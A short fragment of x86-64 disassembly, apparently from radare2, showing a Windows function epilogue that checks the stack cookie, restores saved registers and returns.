mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14001e810
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret